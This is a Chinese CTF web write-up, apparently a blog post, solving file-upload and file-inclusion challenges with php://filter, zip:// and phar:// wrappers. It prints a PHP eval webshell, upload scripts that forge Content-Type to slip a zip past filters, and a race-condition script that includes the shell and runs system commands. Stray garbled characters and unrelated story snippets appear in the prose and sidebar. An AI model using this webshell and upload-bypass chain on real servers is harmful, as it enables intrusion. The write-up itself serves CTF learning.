文件上傳的ctf_web題目【偽協(xié)議】

1.第一題

Qiyu_20170807_210121.png

文件包含

題目:http://58.154.33.13:8004/index.php

可以讀到php源代碼

偽協(xié)議
zip://archive.zip#1.php
php://filter/read=convert.base64-encode//resource=index
index.php后面是否需要添加后綴,要注意看瀏覽器地址欄的情況,本題用偽協(xié)議查看index.php的源代碼的base64編碼串

查看源代碼
http://58.154.33.13:8004/index.php?page=php://filter/read=convert.base64-encode//resource=index #index為index.php的文件名

源代碼:

<?php
                require("header.php");
                $page="";
                if (isset($_GET['page']))
                    $page=$_GET['page'].".php";    #page參數(shù)自動(dòng)添加了.php后綴南片,因此文件包含的index不需要加后綴
                else
                    $page="main.php";
                include($page);
?>

本題還可以通過(guò)文件包含胎撇,查看upload.php的源代碼

<html lang="zh-CN">
  <head>
    <meta charset="utf-8">
<?php
$error=$_FILES['pic']['error'];
$tmpName=$_FILES['pic']['tmp_name'];
$name=$_FILES['pic']['name'];
$size=$_FILES['pic']['size'];
$type=$_FILES['pic']['type'];
try{
    if($name!=="")
    {
        $name1=substr($name,-4);
        if(($name1!==".gif") and ($name1!==".jpg") and ($name1!==".zip"))
        {
            echo "hehe";
            echo "<script language=javascript>alert('不允許的文件類(lèi)型沃疮!');history.go(-1)</script>";
            exit;
        }
        if($type!=="image/jpeg"&&$type!=="image/gif")
        {
            echo mime_content_type($tmpName);
            echo "<script language=javascript>alert('不允許的文件類(lèi)型!');history.go(-1)</script>";
            exit;
        }
        if(is_uploaded_file($tmpName)){
            $time=time();
            $rootpath='uploads/'.$time.$name1;
            if(!move_uploaded_file($tmpName,$rootpath)){
            echo "<script language='JavaScript'>alert('文件移動(dòng)失敗!');window.location='index.php?page=submit'</script>";
            exit;
        }
    }
    echo "圖片ID:".$time;
    }
}
catch(Exception $e)
{
    echo "ERROR";
}
//
 ?>
 </html>

最后文兢,可以通過(guò)burp修改http包的Content-Type: image/gif扑毡,上傳一個(gè)包含1.php的a.zip的壓縮包

之后找到zip所在的路徑,用zip偽協(xié)議瀏覽里面的php
http://58.154.33.13:8004/index.php?page=zip://xxx/a.zip#1.php

然后執(zhí)行i.php的webshell窟赏,提交post參數(shù)調(diào)用系統(tǒng)命令措译,實(shí)現(xiàn)shell

2.第二題

跟上一題一樣,先用php://filter/read=convert.base64-encode//resource=upload查看源代碼

<html lang="zh-CN">
  <head>
    <meta charset="utf-8">
<?php
$error=$_FILES['pic']['error'];
$tmpName=$_FILES['pic']['tmp_name'];
$name=$_FILES['pic']['name'];
$size=$_FILES['pic']['size'];
$type=$_FILES['pic']['type'];
try{
    if($name!=="")
    {
        $name1=substr($name,-4);
        if(($name1!==".gif") and ($name1!==".jpg"))
        {
            echo "hehe";
            echo "<script language=javascript>alert('不允許的文件類(lèi)型饰序!');history.go(-1)</script>";
            exit;
        }
        if($type!=="image/jpeg"&&$type!=="image/gif")
        {
            //echo mime_content_type($tmpName);
            echo "<script language=javascript>alert('不允許的文件類(lèi)型!');history.go(-1)</script>";
            exit;
        }
        if(is_uploaded_file($tmpName)){
            $time=time();
            $rootpath='uploads/'.$time.$name1;
            if(!move_uploaded_file($tmpName,$rootpath)){
                echo "<script language='JavaScript'>alert('文件移動(dòng)失敗!');window.location='index.php?page=submit'</script>";
                exit;
            }
            else{
                sleep(2);               
                if ($type=='image/jpeg')
                {
                    $im = @imagecreatefromjpeg($rootpath);
                    if(!$im){
                      $im = imagecreatetruecolor(150, 30);
                      $bg = imagecolorallocate($im, 255, 255, 255);
                      $text_color = imagecolorallocate($im, 0, 0, 255);
                      imagefilledrectangle($im, 0, 0, 150, 30, $bg);
                      imagestring($im, 3, 5, 5, "Error loading image", $text_color);
                    } else {
                        $time=time();
                        $new_rootpath='uploads/'.$time.$name1;
                        imagejpeg($im,$new_rootpath);
                        imagedestroy($im);
                    }
                }
                else if ($type=='image/gif')
                {
                    $im = @imagecreatefromgif($rootpath);
                    if(!$im){
                      $im = imagecreatetruecolor(150, 30);
                      $bg = imagecolorallocate($im, 255, 255, 255);
                      $text_color = imagecolorallocate($im, 0, 0, 255);
                      imagefilledrectangle($im, 0, 0, 150, 30, $bg);
                      imagestring($im, 3, 5, 5, "Error loading image", $text_color);
                    } else {
                        $time=time();
                        $new_rootpath='uploads/'.$time.$name1;
                        imagegif($im,$new_rootpath);
                        imagedestroy($im);
                    }
                }
                unlink($rootpath);
            }
        }
        echo "圖片ID:".$time;
    }
}
catch(Exception $e)
{
    echo "ERROR";
}
//
 ?>
 </html>

查看源碼后规哪,發(fā)現(xiàn)php代碼里面在做一般的檢查之后求豫,會(huì)先sleep(2),之后會(huì)對(duì)圖片進(jìn)行轉(zhuǎn)換诉稍,如果不是正常的圖片就會(huì)被刪除蝠嘉;因此,我們需要在上傳完文件的這2秒內(nèi)杯巨,用另外一個(gè)腳本去文件包含shell執(zhí)行
以下是兩個(gè)腳本的代碼:

upload.py用來(lái)上傳zip壓縮包

#!/usr/bin/env python
# encoding: utf-8

import requests

url = "http://202.112.51.217:8199/upload.php"

data = {
    'title': 'admin',
    'url': 'admin'
}
#此處**'pic'**是因?yàn)樯厦娴膗pload.php里面判斷用的鍵名
files = {'pic': ('xman.jpg', open("sh.zip").read(), 'image/jpeg')}
# 這里使用 requests 庫(kù)來(lái)上傳文件有幾種方式
# 這種方式可以控制文件名以及文件類(lèi)型
# 可以用來(lái)繞過(guò)基于客戶(hù)端的文件名和文件類(lèi)型檢測(cè)

response = requests.post(url, data=data, files=files)
content = response.content
print content

shell.py用來(lái)進(jìn)行文件包含執(zhí)行webshell

#!/usr/bin/env python
# encoding: utf-8

import requests
#由于此題apache2配置的問(wèn)題導(dǎo)致可以直接讀uploads目錄
url = "http://202.112.51.217:8199/uploads/"

response = requests.get(url)

content = response.content

files = []
#這里用來(lái)尋找到最新的(你剛上傳的)webshell文件的名字
for line in content.split("\n"):
    if "href=" in line:
        files.append(line.split("href=\"")[1].split("\">")[0])
#一般是這些保存的文件的最后一個(gè)
filename = files[-1]
#此處zip://試過(guò)不行蚤告,似乎是因?yàn)閜hp版本的原因,因此改用phar://偽協(xié)議去執(zhí)行解壓縮
url = "http://202.112.51.217:8199
/index.php?page=phar://uploads/"+filename+"/sh&w=system('head *');"  #此處‘head *’用來(lái)打印當(dāng)前目錄下所有文件的前十行
print requests.get(url).content

sh.php是一句話木馬

//這里因?yàn)樯厦娴膕hell.py最后用的是GET請(qǐng)求服爷,因此杜恰,寫(xiě)REQUEST或者GET都可以,如果要用POST要更改shell.py腳本
<?php @eval($_REQUEST[w]);?>

這兩個(gè)腳本你可以接連在兩個(gè)終端上執(zhí)行仍源,也可以寫(xiě)一個(gè)shell腳本去執(zhí)行,下面是shell.sh的內(nèi)容

#!/bin/bash
python upload.py&    #后面加&就不會(huì)阻塞后面的命令執(zhí)行
sleep 0.5     #這里是為了給上傳文件留出一定的時(shí)間
python shell.py    #此處用于執(zhí)行webshell

執(zhí)行的結(jié)果圖:

Paste_Image.png

注:requests庫(kù)上傳文件的書(shū)寫(xiě)格式心褐,官方文檔傳送門(mén)

Paste_Image.png

3.第三題

X-NUCA 練習(xí):login

http://218.76.35.75:20115/login.php
writeup請(qǐng)點(diǎn)擊
注:通過(guò)log來(lái)寫(xiě)入webshell,構(gòu)造zip壓縮包

4.第四題

NS 筆記管理系統(tǒng)WP

NS筆記管理系統(tǒng)題目地址:http://218.76.35.74:20128/index.php?action=front&mode=login

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末笼踩,一起剝皮案震驚了整個(gè)濱河市逗爹,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌嚎于,老刑警劉巖掘而,帶你破解...
    沈念sama閱讀 206,126評(píng)論 6 481
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場(chǎng)離奇詭異于购,居然都是意外死亡袍睡,警方通過(guò)查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 88,254評(píng)論 2 382
  • 文/潘曉璐 我一進(jìn)店門(mén)价涝,熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái)女蜈,“玉大人,你說(shuō)我怎么就攤上這事色瘩∥苯眩” “怎么了?”我有些...
    開(kāi)封第一講書(shū)人閱讀 152,445評(píng)論 0 341
  • 文/不壞的土叔 我叫張陵居兆,是天一觀的道長(zhǎng)覆山。 經(jīng)常有香客問(wèn)我,道長(zhǎng)泥栖,這世上最難降的妖魔是什么簇宽? 我笑而不...
    開(kāi)封第一講書(shū)人閱讀 55,185評(píng)論 1 278
  • 正文 為了忘掉前任勋篓,我火速辦了婚禮,結(jié)果婚禮上魏割,老公的妹妹穿的比我還像新娘譬嚣。我一直安慰自己,他們只是感情好钞它,可當(dāng)我...
    茶點(diǎn)故事閱讀 64,178評(píng)論 5 371
  • 文/花漫 我一把揭開(kāi)白布拜银。 她就那樣靜靜地躺著,像睡著了一般遭垛。 火紅的嫁衣襯著肌膚如雪尼桶。 梳的紋絲不亂的頭發(fā)上,一...
    開(kāi)封第一講書(shū)人閱讀 48,970評(píng)論 1 284
  • 那天锯仪,我揣著相機(jī)與錄音泵督,去河邊找鬼。 笑死庶喜,一個(gè)胖子當(dāng)著我的面吹牛小腊,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播久窟,決...
    沈念sama閱讀 38,276評(píng)論 3 399
  • 文/蒼蘭香墨 我猛地睜開(kāi)眼溢豆,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼!你這毒婦竟也來(lái)了瘸羡?” 一聲冷哼從身側(cè)響起漩仙,我...
    開(kāi)封第一講書(shū)人閱讀 36,927評(píng)論 0 259
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤,失蹤者是張志新(化名)和其女友劉穎犹赖,沒(méi)想到半個(gè)月后队他,有當(dāng)?shù)厝嗽跇?shù)林里發(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 43,400評(píng)論 1 300
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡峻村,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 35,883評(píng)論 2 323
  • 正文 我和宋清朗相戀三年麸折,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片粘昨。...
    茶點(diǎn)故事閱讀 37,997評(píng)論 1 333
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡垢啼,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出张肾,到底是詐尸還是另有隱情芭析,我是刑警寧澤,帶...
    沈念sama閱讀 33,646評(píng)論 4 322
  • 正文 年R本政府宣布吞瞪,位于F島的核電站馁启,受9級(jí)特大地震影響,放射性物質(zhì)發(fā)生泄漏芍秆。R本人自食惡果不足惜惯疙,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 39,213評(píng)論 3 307
  • 文/蒙蒙 一翠勉、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧霉颠,春花似錦对碌、人聲如沸。這莊子的主人今日做“春日...
    開(kāi)封第一講書(shū)人閱讀 30,204評(píng)論 0 19
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)。三九已至酥郭,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間愿吹,已是汗流浹背不从。 一陣腳步聲響...
    開(kāi)封第一講書(shū)人閱讀 31,423評(píng)論 1 260
  • 我被黑心中介騙來(lái)泰國(guó)打工, 沒(méi)想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留犁跪,地道東北人椿息。 一個(gè)月前我還...
    沈念sama閱讀 45,423評(píng)論 2 352
  • 正文 我出身青樓,卻偏偏與公主長(zhǎng)得像坷衍,于是被迫代替她去往敵國(guó)和親寝优。 傳聞我的和親對(duì)象是個(gè)殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 42,722評(píng)論 2 345

推薦閱讀更多精彩內(nèi)容

  • 一套實(shí)用的滲透測(cè)試崗位面試題枫耳,你會(huì)嗎乏矾? 1.拿到一個(gè)待檢測(cè)的站,你覺(jué)得應(yīng)該先做什么迁杨? 收集信息 whois钻心、網(wǎng)站源...
    g0閱讀 4,812評(píng)論 0 9
  • 一、什么才是”遠(yuǎn)程文件包含漏洞”铅协? 回答是:服務(wù)器通過(guò)php的特性(函數(shù))去包含任意文件時(shí)捷沸,由于要包含的這個(gè)文件來(lái)...
    喜歡吃栗子閱讀 2,634評(píng)論 1 4
  • 自己做dede的開(kāi)發(fā)時(shí)間也比較長(zhǎng)了,基本上常用的函數(shù)都知道在哪個(gè)文件里面狐史,但是時(shí)間一長(zhǎng)痒给,也有點(diǎn)模糊了,俗話說(shuō):好記...
    大劉的英語(yǔ)世界閱讀 1,673評(píng)論 1 9
  • http://tieba.baidu.com/p/2310282657 什么是”遠(yuǎn)程文件包含漏洞”骏全?服務(wù)器通過(guò)ph...
    查無(wú)此人asdasd閱讀 1,994評(píng)論 0 2
  • 書(shū)名:《精要主義》 作者:格雷戈?麥吉沃恩(GregMcKeown) 作者簡(jiǎn)介:被譽(yù)為“21 世紀(jì)的史蒂芬 ? 柯...
    Xiazhao閱讀 501評(píng)論 0 3